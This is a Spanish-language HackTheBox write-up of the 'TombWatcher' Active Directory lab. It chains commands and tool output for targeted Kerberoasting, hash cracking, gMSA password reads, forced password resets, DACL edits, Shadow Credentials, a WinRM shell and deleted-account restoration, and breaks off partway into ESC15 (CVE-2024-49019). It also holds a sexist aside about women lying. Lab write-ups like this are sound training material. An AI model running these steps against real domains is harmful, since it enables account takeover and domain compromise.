Habilidades: Abusing AD ACL Rights - WriteSPN
, Targeted Kerberoasting, Abusing AD ACL Rights - AddSelf
, Abusing AD ACL - ReadGMSAPassword
Rights, Abusing AD ACL Rights - ForceChangePassword
, Abusing AD ACL Rights - WriteOwner
, Shadow Credentials, Abusing AD ACL Rights - GenericAll
, Abusing AD CS - ESC15
B Technique (CVE-2024-49019) [Privilege Escalation], PassTheHash
Introducción
TombWatcher es una máquina Windows de dificultad Medium
en HackTheBox, donde debemos comprometer un entorno Windows que implementa Active Directory mediante técnicas relacionadas con la explotación de derechos ACL y la técnica ESC15 dentro del servicio AD CS (Active Directory Certificate Services) para obtener acceso privilegiado al dominio.
El creador de la máquina nos deja el siguiente mensaje en la descripción
As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account:
henry
/H3nry_987TGV!
Reconocimiento
Enviaremos una traza ICMP para comprobar que la máquina víctima se encuentre activa
ping -c 1 10.10.11.72
PING 10.10.11.72 (10.10.11.72) 56(84) bytes of data.
64 bytes from 10.10.11.72: icmp_seq=1 ttl=127 time=143 ms
--- 10.10.11.72 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 143.332/143.332/143.332/0.000 ms
Nmap Scanning
Comenzaremos realizando un escaneo que identifique puertos abiertos en la máquina víctima mediante el protocolo TCP
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.11.72 -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-07 17:25 EDT
Nmap scan report for 10.10.11.72
Host is up (0.16s latency).
Not shown: 65514 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49666/tcp open unknown
49688/tcp open unknown
49689/tcp open unknown
49691/tcp open unknown
49707/tcp open unknown
49712/tcp open unknown
49731/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 39.93 seconds
--open
: Mostrar únicamente los puertos abiertos-p-
: Hacer un escaneo del total de puertos (65535)--min-rate 5000
: Enviar mínimo 5000 paquetes por segundo-n
: No aplicar resolución DNS, lo que acelera el escaneo-sS
: Modo de escaneo TCP SYN, no concluye la conexión, lo que hace el escaneo más ágil-Pn
: Omitir el descubrimiento de host (ARP)-oG
: Exportar en formatogrepable
-v
: Ver el progreso del escaneo
Encontramos una gran cantidad de puertos, procederemos con un segundo escaneo que se encargue de intentar identificar la versión de cada servicio que descubrimos
nmap -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49688,49689,49691,49707,49712,49731 -sVC 10.10.11.72 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-07 17:28 EDT
Nmap scan report for 10.10.11.72
Host is up (0.32s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-08 01:28:21Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-08T01:29:57+00:00; +4h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2025-10-07T14:12:38
|_Not valid after: 2026-10-07T14:12:38
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-08T01:29:57+00:00; +4h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2025-10-07T14:12:38
|_Not valid after: 2026-10-07T14:12:38
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-08T01:29:57+00:00; +4h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2025-10-07T14:12:38
|_Not valid after: 2026-10-07T14:12:38
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-08T01:29:57+00:00; +4h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2025-10-07T14:12:38
|_Not valid after: 2026-10-07T14:12:38
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49688/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49689/tcp open msrpc Microsoft Windows RPC
49691/tcp open msrpc Microsoft Windows RPC
49707/tcp open msrpc Microsoft Windows RPC
49712/tcp open msrpc Microsoft Windows RPC
49731/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 3h59m59s, deviation: 0s, median: 3h59m59s
| smb2-time:
| date: 2025-10-08T01:29:18
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.24 seconds
-p
: Especificar puertos-sV
: Identificar la versión del servicio-sC
: Uso de scripts de reconocimiento-oN
: Exportar la salida en formato normal
Dentro de la captura podremos ver servicios comunes de Active Directory (DNS, LDAP, SMB, Kerberos
, etc.), por lo que podemos interpretar que estamos frente a un controlador de dominio de AD.
Vemos tanto el nombre del dominio como del host, agregaremos esta información a nuestro archivo /etc/hosts
para poder aplicar una resolución DNS correctamente hacia el dominio
echo '10.10.11.72 tombwatcher.htb DC01.tombwatcher.htb' | tee -a /etc/hosts
10.10.11.72 tombwatcher.htb DC01.tombwatcher.htb
Initial Enumeration
Realizaremos un proceso de enumeración del dominio a nivel básico, donde podemos listar recursos de red SMB, registros DNS, información vía LDAP, etc.
Domain Users
Podemos usar herramientas como rpcclient
para intentar enumerar a los usuarios existentes a nivel de dominio
rpcclient DC01.tombwatcher.htb -U 'henry%H3nry_987TGV!' -c 'enumdomusers'
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[Henry] rid:[0x44f]
user:[Alfred] rid:[0x450]
user:[sam] rid:[0x451]
user:[john] rid:[0x452]
Domain Analysis - Bloodhound
Con las credenciales proporcionadas podremos recolectar información del dominio para poder analizarla con Bloodhound
ntpdate DC01.tombwatcher.htb && bloodhound-python -d tombwatcher.htb -ns 10.10.11.72 --zip -c All -u henry -p 'H3nry_987TGV!'
2025-10-10 21:06:39.990191 (-0400) +0.003415 +/- 0.069307 DC01.tombwatcher.htb 10.10.11.72 s1 no-leap
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: tombwatcher.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
...
...
...
Intrusión / Explotación
Abusing AD ACL Rights - WriteSPN
El usuario henry
posee el derecho WriteSPN
sobre el usuario alfred
, esto le permite escribir sobre el atributo Service Principal Name
de esta cuenta.
Un
Service Principal Name
(SPN) es un identificador único que vincula una instancia de un servicio a una cuenta de inicio de sesión en un entorno de red como Active Directory.
Ataques como Kerberoasting
son posibles aprovechando cuentas con un SPN asociado. En este caso, como contamos con el atributo WriteSPN
, somos capaces de forzar Kerberoasting.
En un ataque Kerberoasting, el atacante solicita un ticket TGS (
Ticket Granting Service
para un SPN identificado), enviando un paqueteKRB_TGS_REQ
al KDC (solicitando acceso al servicio), una vez obtenido, se intenta descifrar con fuerza bruta de manera offline.
Por como funciona kerberos
, el atacante no necesita conocer las credenciales de la cuenta de servicio que tiene el SPN. Cualquier usuario válido puede solicitar un TGS para el servicio con el SPN identificado, el hash que se obtiene en la respuesta viene cifrado con el hash NTLM del usuario que tiene posee el SPN asociado.
Targeted Kerberoasting
Esta técnica es una variante del Kerberoasting, su principal diferencia es que explota derechos que permiten modificar el atributo SPN (Service Principal Name
) del usuario víctima para posteriormente solicitar un TGS e intentar descifrar el hash, y así obtener la contraseña en texto claro de la víctima
targetedKerberoast.py -v -d tombwatcher.htb -u 'henry' -p 'H3nry_987TGV!' --dc-ip 10.10.11.72
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (Alfred)
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$2670ead6b0aaf5d9e2a643699153b98c$cf85b27be4c06cec38fa68ff36abf963f3cb6815e42b9ce5ee78f1d224898c45be9a455a13ab1bc263291dbf369fe6e624475651288e8bc9712cf815ec11769b3f49e9f9f7b14aabfa6e9fe437f1eaf35aa0c5511e81ea3d64ef0cf45944cfd521f4ef09c1e6f50be74273306c5abc0fb47b4b67210706cefde3397ae19c7ab0d85d3040fe85071b78823a7860338daa7c254317922c7b8d26c4cd8248afdaaecb4954d5c690e6be234589cf6366fb8b5f4a4549fbf6d494aa92d79f44a5332c471aa8e02b5a0f348b52fbd43409779f8f63e9e1af8f7e226e6d52e83b9ca4caeea15b00c9d2ad74f8244b442ff2f1fd8a7de682fec406f1d742df6819752dc26289d30171ced47e462e27bc7b4c55a5223ef759dbb5227e4364e7d020c2b2fd992fe3ed1506eb1d7b82ac87c405488cad6f3d2b4293dc26b089af6073203bc51fa2b24a4fe5c087d8be68c7c13977e52e093b894a63319077b72d04bb3e8194b5d7083c1c71e0d72487db9a4e2511fafce39b253f42c46e64dfb96acbb4533781777f28fa8c1b1d091b0ac0661351bc6c16b6dbe81f531b0a159fbe340a0804289b81dc0349f8390b5e9d8b780ca9d467d8db333ff4956082ecb63964eefcca0ae0fff62110ddec4e4d8a7accb8dabc10795b404c8d33f2701df24c6c36b809886c483e67cce27d87d10f0cb0b11437e17c05876351b54bf6d90de0a09246a03d83dfa84df1b9945d795155e49c0f8435ff68ff1d7319b3ad4793db05584836892ff7abf71739a5f15051413b778575505306cd489e6c030d934fcd8803aecd3cdb1422a70ad8db312fde5b488e5fae48587fab1e6f879cd027080536b6f2ada83aa71d2ab50544dc5c20be9c3663cbe52fd1eaa0e44128f34748a080666c2989fe26dde74d31bb6b9e7c167320d3e416c873cd8d296b705929a677474c80e94a6b35d7e9aa70341e3535848808a2ae385d5bbec8ed62fa1859c1943c16cc60560d81a01dc85e6cbb2d3995a39ca9e28a2757e0238bcea62ad175f476506224d05ae3b1c2e76af93a93b1bef36186146e5d8d0bf4e3a9475070adc09245f8b12182b1d4bdbfd48e98a421b85d171b95cf48a2b64fbc068b66ecd19d0da2e20554342909530683829b41ae1935c687015064882436d4e2e3ef847dd3206887489be873d61f329e0da51064d1301d22bbf9eca0d83a57ba132c839c2b1ed25cdc9e628ca900c059322ae60aa6038e98a6f6914234bffae0da9dff1bb8bba2b59a688c26048ce4b1126ba25866d9a07639726ae493fb9e42bf8f7efcc0150fb92b852cde6d27aaf4623393c222c449c481cae78ca1e3765d7539610d197eec1e5d8ec35fe2899e166d0a2560d8968ae92cdc8ce15506ca3e8cd9c85b57426e04efc9f71bddc101857257e409d674e71272a6246c25d5001d39213d4fb6cae83dbea5b7b7c6c5db1a9a396ad29181514b792de2caddd4
Guardaremos el hash dentro de un archivo para intentar descifrarlo mediante fuerza bruta
john --wordlist=/usr/share/wordlists/rockyou.txt tgs_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
basketball (?)
1g 0:00:00:00 DONE (2025-10-10 21:23) 50.00g/s 51200p/s 51200c/s 51200C/s 123456..bethany
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Hemos encontrado la contraseña en texto claro para el usuario alfred
:basketball
Abusing AD ACL Rights - AddSelf
El usuario alfred
posee el derecho AddSelf
sobre el grupo Infrastructure
, como el mismo nombre nos indica, le permite agregarse a sí mismo para ser miembro de este grupo
Necesitaremos utilizar autenticación kerberos
, es por eso que antes de continuar, obtendremos un TGT para el usuario alfred
getTGT.py tombwatcher.htb/alfred:'basketball' -dc-ip 10.10.11.72
Impacket v0.13.0.dev0+20250109.91705.ac02e0ee - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in alfred.ccache
Agregaremos al usuario alfred
al grupo Infrastructure
a través de herramientas como bloodyAD
KRB5CCNAME=alfred.ccache bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -k --dc-ip 10.10.11.72 add groupMember INFRASTRUCTURE 'alfred'
[+] alfred added to INFRASTRUCTURE
Abusing AD ACL - ReadGMSAPassword
Rights
El grupo Infrastructure
posee el derecho ReadGMSAPassword
sobre la computadora ansible_dev$
.
Este derecho otorga la capacidad de leer el atributo msDS-ManagedPassword
de una cuenta gMSA
, resultando en una lectura del hash NTLM de la cuenta víctima
Una cuenta GMSA (
Group Managed Service Account
) es un tipo de cuenta de servicio de dominio en Windows que se utiliza para ejecutar servicios y aplicaciones en varios servidores.
Con herramientas como gMSADumper
podemos extraer las credenciales asociadas a la cuenta de computadora ansible_dev$
, de forma que veremos sus credenciales en formato hash
gMSADumper.py -d tombwatcher.htb -u alfred -p 'basketball' -l 10.10.11.72
Users or groups who can read password for ansible_dev$:
> Infrastructure
ansible_dev$:::4f46405647993c7d4e1dc1c25dd6ecf4
ansible_dev$:aes256-cts-hmac-sha1-96:2712809c101bf9062a0fa145fa4db3002a632c2533e5a172e9ffee4343f89deb
ansible_dev$:aes128-cts-hmac-sha1-96:d7bda16ace0502b6199459137ff3c52d
Alternativamente podríamos haber obtenido un hash NTLM con netexec
nxc ldap DC01.tombwatcher.htb -u alfred -p 'basketball' --gmsa
Si creemos que las herramientas nos mienten (como las mujeres), podemos validar el hash NTLM desde netexec
nxc ldap DC01.tombwatcher.htb -u 'ansible_dev$' -H 4f46405647993c7d4e1dc1c25dd6ecf4
SMB 10.10.11.72 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.72 389 DC01 [+] tombwatcher.htb\ansible_dev$:4f46405647993c7d4e1dc1c25dd6ecf4
Abusing AD ACL Rights - ForceChangePassword
La cuenta ansible_dev$
posee derechos ForceChangePassword
sobre el usuario sam
, esto permite forzar un cambio de contraseña sobre la cuenta objetivo
Cambiaremos la contraseña del usuario sam
de la siguiente manera, haciendo PassTheHash
, herramientas como rpcclient
soportan la flag --pw-nt-hash
rpcclient DC01.tombwatcher.htb -U 'ansible_dev$%4f46405647993c7d4e1dc1c25dd6ecf4' -c 'setuserinfo2 sam 23 Password123!' --pw-nt-hash
Las credenciales de las cuentas
gMSA
son gestionadas dinámicamente por el Controlador de Dominio, por lo que es probable que si dejamos la máquina para otro día, las credenciales hayan cambiado.
Validaremos las nuevas credenciales para el usuario sam
nxc smb DC01.tombwatcher.htb -u 'sam' -p 'Password123!'
SMB 10.10.11.72 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.72 445 DC01 [+] tombwatcher.htb\sam:Password123!
Abusing AD ACL Rights - WriteOwner
EL usuario sam
tiene asignado el derecho WriteOwner
sobre el usuario john
, esto le permite modificar al propietario de esta cuenta.
De esta forma podremos posteriormente obtener un control total sobre la cuenta víctima
Asignaremos a sam
como el propietario del usuario john
con la herramienta owneredit
de impacket
owneredit.py -action write -new-owner 'sam' -target 'john' sequel.htb/sam:'Password123!' -dc-ip 10.10.11.72
Impacket v0.13.0.dev0+20250109.91705.ac02e0ee - Copyright Fortra, LLC and its affiliated companies
[*] Current owner information below
[*] - SID: S-1-5-21-1392491010-1358638721-2126982587-512
[*] - sAMAccountName: Domain Admins
[*] - distinguishedName: CN=Domain Admins,CN=Users,DC=tombwatcher,DC=htb
[*] OwnerSid modified successfully!
Ahora somos propiestarios de la cuenta john
. Procederemos con asignar control total al usuario sam
sobre el usuario john
dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'sam' -target-dn 'CN=JOHN,CN=USERS,DC=TOMBWATCHER,DC=HTB' 'tombwatcher.htb'/'sam':'Password123!'
Impacket v0.13.0.dev0+20250109.91705.ac02e0ee - Copyright Fortra, LLC and its affiliated companies
[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20251010-220653.bak
[*] DACL modified successfully!
Shadow Credentials
Ahora que disponemos de control total sobre la cuenta de john
, realizaremos un ataque de Shadow Credentials, principalmente para evitar estar cambiando la contraseña constantemente.
Esta técnica contempla modificar el atributo
msDS-KeyCredentialLink
, añadiendo credenciales en forma de certificados, permitiendo autenticarnos como el usuario víctima sin conocer su contraseña.
Es posible automatizar un poco el proceso para obtener el hash NTLM de la cuenta objetivo directamente utilizando certipy
certipy shadow auto -u sam@tombwatcher.htb -p 'Password123!' -account john -dc-ip 10.10.11.72
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'john'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '13647032-2ac5-abef-930d-972979176563'
[*] Adding Key Credential with device ID '13647032-2ac5-abef-930d-972979176563' to the Key Credentials for 'john'
[*] Successfully added Key Credential with device ID '13647032-2ac5-abef-930d-972979176563' to the Key Credentials for 'john'
[*] Authenticating as 'john' with the certificate
[*] Using principal: john@tombwatcher.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'john.ccache'
[*] Trying to retrieve NT hash for 'john'
[*] Restoring the old Key Credentials for 'john'
[*] Successfully restored the old Key Credentials for 'john'
[*] NT hash for 'john': b1734f0b1af39ab67d9ceef96b82b82a
Shell as john
El usuario john
es miembro del grupo Remote Management Users
, esto le permite conectarse al DC para obtener una sesión de powershell
de manera remota
El grupo
Remote Management Users
en Active Directory permite a los usuarios miembros acceder de manera remota a un equipo a través del protocoloWinRM
, el cual está basado en el estándarWS-Management
.
Utilizaremos herramientas como evil-winrm
o evil-winrm-py
para autenticarnos frente al protocolo WinRM
y obtener una consola de powershell
evil-winrm-py -i DC01.tombwatcher.htb -u 'john' -H 'b1734f0b1af39ab67d9ceef96b82b82a'
▘▜ ▘
█▌▌▌▌▐ ▄▖▌▌▌▌▛▌▛▘▛▛▌▄▖▛▌▌▌
▙▖▚▘▌▐▖ ▚▚▘▌▌▌▌ ▌▌▌ ▙▌▙▌
▌ ▄▌ v1.1.2
[*] Connecting to DC01.tombwatcher.htb:5985 as john
evil-winrm-py PS C:\Users\john\Documents> whoami
tombwatcher\john
Ya podremos ver la primera flag ubicada en el escritorio del usuario john
evil-winrm-py PS C:\Users\john\Documents> type ..\Desktop\user.txt
6e1...
Escalada de Privilegios
Abusing AD ACL Rights - GenericAll
El usuario john
posee derechos GenericAll
sobre la OU (Unidad Organizativa) ADCS
. Este derecho a nivel de OU le permite obtener control total sobre los objetos que se encuentran dentro de la unidad organizativa
Una OU (Unidad Organizativa) en Active Directory es un contenedor jerárquico que se utiliza para agrupar y organizar objetos como usuarios, equipos y grupos en una estructura lógica similar a la de una empresa.
Finding Deleted Accounts
Luego de una enumeración exhaustiva, si buscamos con ldapsearch
incluyendo objetos eliminados, veremos la cuenta cert_admin
ldapsearch -H ldap://10.10.11.72 -D 'john@tombwatcher.htb' -w 'Password123!' -b 'DC=tombwatcher,DC=htb' "(objectClass=user)" -E showDeleted | grep sAMAccountName
sAMAccountName: Administrator
sAMAccountName: Guest
sAMAccountName: DC01$
sAMAccountName: krbtgt
sAMAccountName: Henry
sAMAccountName: Alfred
sAMAccountName: sam
sAMAccountName: john
sAMAccountName: ansible_dev$
sAMAccountName: cert_admin
sAMAccountName: cert_admin
sAMAccountName: cert_admin
Buscaremos desde powershell
para poder identificar este objeto con mayor detalle
evil-winrm-py PS C:\Users\john\Documents> Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects
Deleted : True
DistinguishedName : CN=Deleted Objects,DC=tombwatcher,DC=htb
Name : Deleted Objects
ObjectClass : container
ObjectGUID : 34509cb3-2b23-417b-8b98-13f0bd953319
Deleted : True
DistinguishedName : CN=cert_admin\0ADEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3,CN=Deleted Objects,DC=tombwatcher,DC=htb
Name : cert_admin
DEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
ObjectClass : user
ObjectGUID : f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
Deleted : True
DistinguishedName : CN=cert_admin\0ADEL:c1f1f0fe-df9c-494c-bf05-0679e181b358,CN=Deleted Objects,DC=tombwatcher,DC=htb
Name : cert_admin
DEL:c1f1f0fe-df9c-494c-bf05-0679e181b358
ObjectClass : user
ObjectGUID : c1f1f0fe-df9c-494c-bf05-0679e181b358
Deleted : True
DistinguishedName : CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb
Name : cert_admin
DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectClass : user
ObjectGUID : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
Para una búsqueda más precisa, que incluya el SID, podemos aplicar una serie de filtros en el comando anterior
evil-winrm-py PS C:\Users\john\Documents> Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Properties ObjectSid, nTSecurityDescriptor, ObjectGUID
Restoring User
Como tenemos control sobre la unidad organizativa ADCS
, probablemente este usuario que ha sido eliminado se encuentre dentro de ella. Comenzaremos otorgando control total al usuario john
sobre la OU ADCS
dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'john' -target-dn 'OU=ADCS,DC=TOMBWATCHER,DC=HTB' 'tombwatcher.htb/john' -hashes :b1734f0b1af39ab67d9ceef96b82b82a
Impacket v0.13.0.dev0+20250109.91705.ac02e0ee - Copyright Fortra, LLC and its affiliated companies
[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20251011-151606.bak
[*] DACL modified successfully!
Intentaremos reestablecer la cuenta cert_admin
empleando el último objeto eliminado
evil-winrm-py PS C:\Users\john\Documents> Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"
Bloodhound
Volveremos a recolectar la información del dominio para poder ver esta cuenta que acabamos de reestablecer
bloodhound-python -d tombwatcher.htb -ns 10.10.11.72 -dc dc01.tombwatcher.htb --zip -c All -u john -p 'Password123!'
Shadow Credentials
Una vez hemos cargado el nuevo comprimido dentro de Bloodhound
, notaremos que tenemos derechos GenericAll
sobre la cuenta cert_admin
.
Como aprendimos anteriormente, este derecho nos brinda la capacidad de modificar cualquier atributo sobre la cuenta víctima, por lo que podemos realizar múltiples ataques
Podemos aprovechar GenericAll
para cambiar la contraseña de la cuenta cert_admin
, o volver a realizar un ataque Shadow Credentials
para no depender de la contraseña de la cuenta víctima
certipy shadow auto -u john@tombwatcher.htb -hashes :b1734f0b1af39ab67d9ceef96b82b82a -account cert_admin -dc-ip 10.10.11.72
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'cert_admin'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '87da6137-6836-c451-d5da-15b2453a78c7'
[*] Adding Key Credential with device ID '87da6137-6836-c451-d5da-15b2453a78c7' to the Key Credentials for 'cert_admin'
[*] Successfully added Key Credential with device ID '87da6137-6836-c451-d5da-15b2453a78c7' to the Key Credentials for 'cert_admin'
[*] Authenticating as 'cert_admin' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: 'cert_admin@tombwatcher.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'cert_admin.ccache'
[*] Wrote credential cache to 'cert_admin.ccache'
[*] Trying to retrieve NT hash for 'cert_admin'
[*] Restoring the old Key Credentials for 'cert_admin'
[*] Successfully restored the old Key Credentials for 'cert_admin'
[*] NT hash for 'cert_admin': dceb50ac4ab6609ebcefa230760477db
Abusing AD CS - ESC15
B Technique (CVE-2024-49019)
ESC15
, también conocida como EKUwu
y además registrada como CVE-2024-49019
, es una técnica de escalada de privilegios que aprovecha una vulnerabilidad en la implementación de la extensión Application Policies
en plantillas de certificado de esquema 1
(Schema Version: 1
)
certipy find -u cert_admin -hashes :dceb50ac4ab6609ebcefa230760477db -dc-ip 10.10.11.72 -stdout -vulnerable
Certipy v5.0.2 - by Oliver Lyak (ly4k)
...
...
...
Certificate Authorities
0
CA Name : tombwatcher-CA-1
DNS Name : DC01.tombwatcher.htb
Certificate Subject : CN=tombwatcher-CA-1, DC=tombwatcher, DC=htb
Certificate Serial Number : 3428A7FC52C310B2460F8440AA8327AC
Certificate Validity Start : 2024-11-16 00:47:48+00:00
Certificate Validity End : 2123-11-16 00:57:48+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : TOMBWATCHER.HTB\Administrators
Access Rights
ManageCa : TOMBWATCHER.HTB\Administrators
TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
ManageCertificates : TOMBWATCHER.HTB\Administrators
TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Enroll : TOMBWATCHER.HTB\Authenticated Users
Certificate Templates
0
Template Name : WebServer
Display Name : Web Server
Certificate Authorities : tombwatcher-CA-1
Enabled : True
Client Authentication : False
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 1
Validity Period : 2 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-11-16T00:57:49+00:00
Template Last Modified : 2024-11-16T17:07:26+00:00
Permissions
Enrollment Permissions
Enrollment Rights : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
Object Control Permissions
Owner : TOMBWATCHER.HTB\Enterprise Admins
Full Control Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Owner Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Dacl Principals : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
Write Property Enroll : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
[+] User Enrollable Principals : TOMBWATCHER.HTB\cert_admin
[!] Vulnerabilities
ESC15 : Enrollee supplies subject and schema version is 1.
[*] Remarks
ESC15 : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.
Understanding Vulnerability
Esta técnica explota un fallo en la lógica de validación de la CA (Certificate Authority
) cuando procesa solicitudes para plantillas con Schema Version 1
, lo que permite manipular EKU
(Extended Key Usage
).
Cuando la CA procesa una solicitud para una plantilla
Schema Version 1
, a menudo copia lasEKU
definidas en la plantilla tanto en la extensiónEKU
como en la extensiónApplication Policies
del certificado emitido.
Combinado con la capacidad de inscribir usuarios y la flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
en True
, un atacante podría incluir un SAN (Subject Alternative Name
) en la solicitud del certificado, y así podría o bien escalar privilegios o moverse lateralmente por un dominio utilizando el certificado a modo de autenticación
- Escenario
A
: Un atacante podría emitir un certificado inyectandoClient Authentication
(OID1.3.6.1.5.5.7.3.2
) para habilitar el inicio de sesión con el certificado. - Escenario
B
:Certificate Request Agent
OID (1.3.6.1.4.1.311.20.2.1
) para permitir que un certificado actúe como un Agente de Inscripción (ataque similar aESC3
).
La plantilla vulnerable cumple con los requerimientos necesarios para emitir un certificado en nombre de otros usuarios
Certificate Templates
0
Template Name : WebServer
Display Name : Web Server
Certificate Authorities : tombwatcher-CA-1
Enabled : True
...
...
...
Schema Version : 1
...
...
...
Permissions
Enrollment Permissions
Enrollment Rights : TOMBWATCHER.HTB\Domain Admins
TOMBWATCHER.HTB\Enterprise Admins
TOMBWATCHER.HTB\cert_admin
Issues
Si enumeramos sin la flag
-vulnerable
